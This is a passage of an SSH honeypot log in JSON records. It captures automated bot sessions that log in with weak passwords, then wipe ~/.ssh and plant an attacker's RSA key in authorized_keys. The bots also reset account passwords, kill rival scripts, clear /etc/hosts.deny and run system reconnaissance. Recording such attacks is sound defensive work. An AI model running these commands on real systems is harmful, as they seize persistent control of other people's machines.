GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:54.348081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.709285+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:39:55.005171+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:56.256034+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:56.553043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:58.392659+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"c56126fe-d554-46c9-b23f-c60c629d2098","name":"languid-early-gadwall","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46710,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:42.142915+00:00","ended_at":"2026-08-27T12:39:42.751879+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"84988aaa-43dd-40b0-8ff0-ac5df2f0d6e0","name":"marine-coastal-squirrel","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46694,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:40.517419+00:00","ended_at":"2026-08-27T12:39:41.545907+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6dbcae5e-128a-47be-b4ba-4b55025af095","name":"fearless-early-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":54184,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:52.731139+00:00","ended_at":"2026-08-27T12:37:54.330812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-27T12:37:35.129162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:35.421994+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:39.379554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:39.980414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:40.275576+00:00","kind":"input","latency_ms":null,"data":"echo -e \"inventory\\nSj5UrajmLrsR\\nSj5UrajmLrsR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:37:40.570458+00:00","kind":"input","latency_ms":null,"data":"echo \"inventory\\nSj5UrajmLrsR\\nSj5UrajmLrsR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:37:40.862217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:41.171007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:41.465673+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:42.490557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:42.786225+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:44.037390+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:44.332286+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:44.965026+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:45.258711+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:46.126200+00:00","kind":"output","latency_ms":null,"data":" 12:37:46 up 7 days, 9:27, 0 user, load average: 0.17, 0.2, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:46.419027+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:46.823516+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:47.115928+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:47.717649+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:48.010642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:48.548212+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:48 up 7 days, 9:27, 0 user, load average: 0.17, 0.2, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:48.842036+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:49.245404+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:49.538584+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:50.095907+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:50.391702+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:51.068864+00:00","kind":"output","latency_ms":null,"data":"inventory"},{"seq":29,"at":"2026-08-27T12:37:51.362263+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:52.436020+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:52.731895+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:54.244053+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"inventory","password":"inventory","method":"password","accepted":true,"tier":"other"}]} {"id":"71728729-1c5e-4d71-86b5-fcf06420e520","name":"umber-chilly-raven","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":36242,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:38.430151+00:00","ended_at":"2026-08-27T12:37:39.294141+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"inventory","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3797c883-fd69-4e8e-a605-753e4f04fd07","name":"rapid-hushed-polecat","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":36228,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:36.087607+00:00","ended_at":"2026-08-27T12:37:37.844062+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ca3841d0-2be8-40db-974c-3a1cfa7f3b05","name":"coral-keen-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57430,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:51.340494+00:00","ended_at":"2026-08-27T12:35:53.501899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:35:32.816842+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:33.113617+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:38.310204+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:38.807115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:39.106748+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123456\\nKAXijEnzrgmb\\nKAXijEnzrgmb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:39.404588+00:00","kind":"input","latency_ms":null,"data":"echo \"user123456\\nKAXijEnzrgmb\\nKAXijEnzrgmb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:39.700927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:40.384935+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:40.681809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:41.870223+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:42.173703+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:43.141611+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:43.443504+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:43.798113+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:44.094093+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:44.423084+00:00","kind":"output","latency_ms":null,"data":" 12:35:44 up 7 days, 9:25, 0 user, load average: 0.35, 0.42, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:44.723326+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:45.053959+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:45.355784+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:45.770736+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:46.069451+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:46.469743+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:46 up 7 days, 9:25, 0 user, load average: 0.35, 0.42, 0.26\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:46.767463+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:47.562883+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:47.862157+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:48.652134+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:48.951297+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:49.699064+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T12:35:49.997804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:51.041470+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:51.341318+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:53.414010+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d780caf3-d73f-4557-a6f8-9cc9624808ac","name":"sterling-placid-stoat","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":48326,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:36.348766+00:00","ended_at":"2026-08-27T12:35:38.223388+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e479c537-8cbf-453b-b98b-21b4fdb72899","name":"pristine-gleaming-dingo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57442,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:33.784049+00:00","ended_at":"2026-08-27T12:35:35.754740+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f741687a-2f74-4efe-8967-e1f14d778609","name":"cobalt-velvet-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57180,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:42.482087+00:00","ended_at":"2026-08-27T12:33:43.465726+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:33:25.761970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:26.053453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.138436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:29.482905+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:29.777191+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nwt7fE2DcO5yC\\nwt7fE2DcO5yC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:33:30.069159+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nwt7fE2DcO5yC\\nwt7fE2DcO5yC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:33:30.363680+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:31.018791+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:31.311878+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:32.359714+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:32.655996+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:33.770251+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:34.066207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:34.466792+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:34.762277+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:35.507329+00:00","kind":"output","latency_ms":null,"data":" 12:33:35 up 7 days, 9:23, 0 user, load average: 0.11, 0.13, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:35.800068+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:36.425747+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:36.718047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:37.145932+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:37.440582+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:38.277263+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:38 up 7 days, 9:23, 0 user, load average: 0.11, 0.13, 0.11\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:38.571554+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:39.058754+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:39.351591+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:39.780201+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:40.074907+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:40.758817+00:00","kind":"output","latency_ms":null,"data":"lighthouse"},{"seq":29,"at":"2026-08-27T12:33:41.052239+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:42.189231+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:42.482618+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:43.378998+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lighthouse","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"0f34a92d-4fee-49a2-893e-c96943b2b3f6","name":"sleepy-weathered-tanager","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57198,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:28.332661+00:00","ended_at":"2026-08-27T12:33:29.051424+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"lighthouse","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e76e55fb-1151-4b80-9bf7-4a404b4da8da","name":"regal-tranquil-siskin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57184,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:26.730756+00:00","ended_at":"2026-08-27T12:33:27.751009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0c76bfb4-836e-4008-83a9-7ac679dbfa15","name":"crisp-hazel-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59090,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:28.446059+00:00","ended_at":"2026-08-27T12:31:29.412215+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:31:10.956182+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:11.254924+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:15.215062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:15.816754+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:16.114087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1AbSY7TSKfA1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:31:16.413053+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:31:16.710113+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:17.115072+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:17.412885+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:18.431897+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:18.733509+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:19.730283+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:20.029788+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:20.672990+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 